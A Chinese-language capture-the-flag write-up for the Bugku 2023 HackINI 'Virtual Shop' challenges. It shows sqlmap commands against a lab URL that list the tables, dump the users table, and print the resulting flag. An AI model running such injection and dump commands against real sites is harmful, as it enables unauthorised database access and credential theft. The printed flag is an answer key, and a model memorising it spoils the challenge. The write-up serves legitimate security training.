Bugku 2023 HackINI Virtual Shop 和 2023 HackINI Virtual Shop 2

目录

前置知识

解题过程

[Virtual Shop](#Virtual Shop)

[Virtual Shop 2](#Virtual Shop 2)

总结


前置知识

网络安全-SQL注入-CSDN博客

解题过程

Virtual Shop

打开靶场

可以看到URL有参数传输,再根据题目描述了数据库相关内容,可以确定为SQL注入

练习一下SQLMAP工具

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport

可以看到存在多种注入方式,并且数据库类型为SQLite,该数据库是轻量级数据库,没有数据库名。直接查询有哪些表

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --tables

结合题目描述,flag应该是再users中admin的密码那里,直接dump表users的全部数据即可

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users --dump

成功获取flag

复制代码
shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

Virtual Shop 2

步骤与Virtual Shop相同,sqlmap注入前清除下缓存,要不然扫的是Virtual Shop的结果

复制代码
python sqlmap.py --purge

总结

一道基础的sql注入的题,可以手工注入练习,也可以直接sqlmap梭哈

相关推荐
小白勇闯网安圈14 小时前
Django Form 组件详解:从表单生成到 ModelForm 数据校验
数据库·django·sqlite
sbjdhjd14 小时前
企业站 SQL 注入实战:PCRE 正则回溯绕过关键词 WAF 完整实战 | 进阶02
sql·安全·web安全·网络安全·ai·开源·php
吴声子夜歌15 小时前
网络安全——消息认证
安全·web安全·消息认证
吴声子夜歌16 小时前
网络安全——数字签名
安全·web安全·数字签名
腾科IT教育16 小时前
网络安全与网络空间安全:概念、产业与防护建议
网络·安全·web安全·网络安全·网络空间安全
吴声子夜歌17 小时前
网络安全——密码学基础(二)
安全·web安全·密码学
吴声子夜歌1 天前
网络安全——概述(一)
安全·web安全
云水一下1 天前
零基础玩转bWAPP靶场(五十九):Insecure DOR (Change Secret)
web安全·bwapp·idor·change secret
云水一下1 天前
零基础玩转bWAPP靶场(五十八):XSS - Stored (User-Agent)
web安全·xss·bwapp·user-agent·stored
小新讲网安2 天前
PowerShell安全攻防实战:从渗透利用到检测防御全攻略
安全·web安全·网络安全·黑客·自动化·sqlmap·网安